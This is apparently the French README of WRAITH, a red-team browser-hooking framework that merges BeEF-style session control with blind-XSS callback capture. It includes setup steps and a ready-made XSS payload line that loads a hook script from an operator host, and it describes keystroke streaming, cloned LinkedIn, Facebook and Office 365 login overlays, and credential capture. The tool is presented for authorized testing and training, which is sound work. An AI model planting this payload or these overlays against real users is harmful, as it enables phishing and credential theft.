
Framework de hooking de navigateurs pour équipes rouges autorisées et formateurs. Hooking des navigateurs via XSS, contrôle interactif post-exploitation, capture de butin blind-XSS, overlays d'ingénierie sociale et laboratoire d'entraînement.
Un framework moderne et autonome de hook navigateur pour les équipes red team, les chercheurs en sécurité et les formateurs — un successeur « clean-room » de BeEF et des outils de callback blind-XSS que nous utilisons au quotidien.
UNIQUEMENT POUR LES TESTS DE SÉCURITÉ AUTORISÉS, LA RECHERCHE ET LA FORMATION. WRAITH est un outil de sécurité offensive destiné à démontrer et tester les techniques de phishing / man-in-the-browser / blind-XSS. Utilisez-le uniquement contre des systèmes et des personnes pour lesquels vous avez l'autorisation explicite de tester. Vous êtes responsable de votre utilisation.

Au fil de notre travail chez Arcanum, nous avons constamment eu recours à deux types d'outils différents en souhaitant qu'ils n'en fassent qu'un.
D'un côté, il y avait BeEF — le Browser Exploitation Framework — pour le flux de travail classique hooker un navigateur, puis travailler depuis sa session : keylogger sur un faux login, reconnaissance du réseau local, envoi d'un module à une victime en direct. C'est l'outil que nous utilisions pour rendre le man-in-the-browser concret pour les gens. Mais il commence à montrer son âge, de grandes parties sont peu fiables dans les navigateurs actuels, et les overlays d'ingénierie sociale ressemblent à des pages de connexion d'il y a dix ans.
De l'autre côté, il y avait nos frameworks de callback blind-XSS préférés (XSS Hunter, ezXSS) : injecter un payload dans un champ, et dès qu'il se déclenche quelque part que vous ne pouvez pas voir, il rappelle à la maison avec le butin — origine, cookies, DOM, capture d'écran.
Ce dont nous avions de plus en plus besoin — surtout à mesure que nos cibles devenaient des écosystèmes d'applications IA, où du texte non fiable circule à travers des agents, des sorties d'outils, des files de modération admin et des consoles de support, et déclenche du JavaScript dans des endroits que personne ne surveille — c'était un framework unique qui faisait les deux : le contrôle post-exploitation interactif et persistant d'un hook BeEF, et le butin de callback blind-XSS « fire-and-forget », dans un seul payload fiable dans les navigateurs actuels et qui ressemble aux vraies pages de connexion d'aujourd'hui.
Alors nous avons construit WRAITH.
Nous publions WRAITH tôt, et volontairement. Nous préférons le mettre entre les mains des personnes qui l'utiliseront réellement — et entendre ce qui casse — plutôt que de le garder jusqu'à ce qu'il soit « terminé ».
Cela signifie : attendez-vous à des aspérités et des bugs. Certains modules sont plus éprouvés que d'autres, le comportement des navigateurs change constamment sous nos pieds (voir les notes sur le scan réseau ci-dessous), et les API peuvent changer entre les versions. Si vous rencontrez un problème, veuillez ouvrir une issue — les étapes de reproduction, le navigateur + la version, et ce que vous attendiez sont précieux. Les PR sont les bienvenues selon les conditions de contribution du projet.
Le chemin le plus rapide. Vous avez besoin de Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh vous guide à travers tout :
.env gitignoré (chmod 600), et construit + démarre le conteneur. Console opérateur : http://YOUR_IP:8090/operator/
Page de connexion : http://YOUR_IP:8090/login (utilisateur "operator")
Page victime démo : http://YOUR_IP:8090/demo/
Payload hook : http://YOUR_IP:8090/hook.js
Payload XSS prêt à l'emploi :
"><script src="http://YOUR_IP:8090/hook.js"></script>
Gérez-le avec les commandes compose standard :
docker compose logs -f # surveiller
docker compose down # arrêter (conserve ./data)
./setup.sh # reconfigurer (rotation du mot de passe, changement d'adresse, …)
Les sessions capturées persistent dans ./data/ sur l'hôte — jamais intégrées dans l'image, jamais commitées (.env et data/ sont gitignorés).
La console opérateur est protégée par connexion dès qu'un mot de passe opérateur est défini, avec une connexion nom d'utilisateur + mot de passe :

npm install
npm start
Ouvrez ensuite la console opérateur sur http://127.0.0.1:3000/operator/ et la page victime démo sur http://127.0.0.1:3000/demo/ (dans un second navigateur/profil). Sur localhost, la connexion est désactivée par défaut pour plus de commodité — le serveur refuse de se lier à une interface publique sans mot de passe opérateur, afin que vous ne puissiez pas exposer accidentellement un panneau ouvert.
/hook.js est un petit payload. Injectez-le dans n'importe quelle page que vous contrôlez (<script src="/hook.js"></script>) ou délivrez-le via un XSS dans votre cible. Le navigateur qui le charge ouvre un WebSocket vers l'opérateur, s'identifie (navigateur, OS, IP, page, UA), se reconnecte automatiquement et survit à la navigation. Chaque navigateur hooké apparaît en direct dans la console, où vous en sélectionnez un et le pilotez — le tableau de bord complet est l'image vedette en haut de ce README : liste des navigateurs hookés, détail de la cible, contrôles de déploiement, flux d'activité en direct et identifiants capturés.
Overlays de faux-login modernisés, rendus dans un shadow DOM isolé afin qu'ils soient pixel-perfect sur n'importe quelle page hôte et floutent la page derrière eux comme une vraie modale de ré-authentification. Livré avec LinkedIn, Facebook et Microsoft / Office 365 (flux authentique en deux étapes e-mail → mot de passe).

Chaque caractère que la cible saisit dans un overlay est diffusé vers la console en temps réel, et les identifiants soumis atterrissent dans Identifiants capturés — le tout persistant afin que rien ne soit perdu lors d'un rafraîchissement ou d'un redémarrage.
